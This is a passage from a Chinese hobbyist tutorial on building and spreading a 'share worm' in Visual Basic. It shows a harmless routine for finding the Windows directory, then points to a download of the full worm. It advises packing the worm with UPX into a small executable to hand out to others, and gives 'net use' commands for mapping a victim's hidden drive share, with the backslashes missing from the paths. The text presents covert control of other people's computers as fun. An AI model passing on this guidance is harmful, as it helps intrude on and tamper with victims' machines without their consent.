共享蠕虫的原理及用VB编程的实现方法

;   Public Sub GetWinDir() 注释：获得windows所在目录的子程序
     Dim Length As Long
     WinDir = String(MAX_PATH, 0)
     Length = GetWindowsDirectory(WinDir, MAX_PATH)
     WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
     End Sub
     完整的程序大家可以去网上下载(香水百合园http://scentlily.y365.com)，其中的可执行文件是用VB6.0编译的，建议再用VB5.0重新编译一下。这样你只需要将这一个可执行文件分发给别人就OK了，不需要其它的任何DLL文件，因为Win98和Win2000已经自带VB5.0的DLL文件啦。这样就做成了一个绿色软件。你再用UPX这个可执行文件压缩工具压缩一下，就只有6K了，感觉很爽吧！
     有很多朋友来信问我，即然对方和自己都看不见这个共享目录，那到底怎么使用呢？其实方法也很简单的，因为在网上邻居里是看不见的，所以我们需要到DOS方式下去使用。命令如下：
     语法：net use <映射的盘符> \对方的IPC$
     例如：net use x: \192.168.0.2D$
     执行完这个命令以后，就将对方(192.168.0.2)的D盘映射成自己的X盘了。你就可以象使用C盘D盘那样使用X盘了，当你切换到X盘后，对X盘所进行的操作，实际上就是对方的D盘进行操作。
     因为现在的网友都已经很少愿意接收可执行文件了，所以网上流行的共享蠕虫程序是VBS格式的脚步语言。不过原理是一样的，只是实现的方法不一样罢了！
     怎么样！在别人机器上跳舞的感觉如何？一句话，"一切尽在掌握！"，知道香水百合为什么用爱立信手机了吧！:)不过，还是要提醒你一句，看看就可以了，开开玩笑也没问题,不过千万不要搞破坏！因为VB是最"美好"的语言,不要破坏了她的美好形象噢！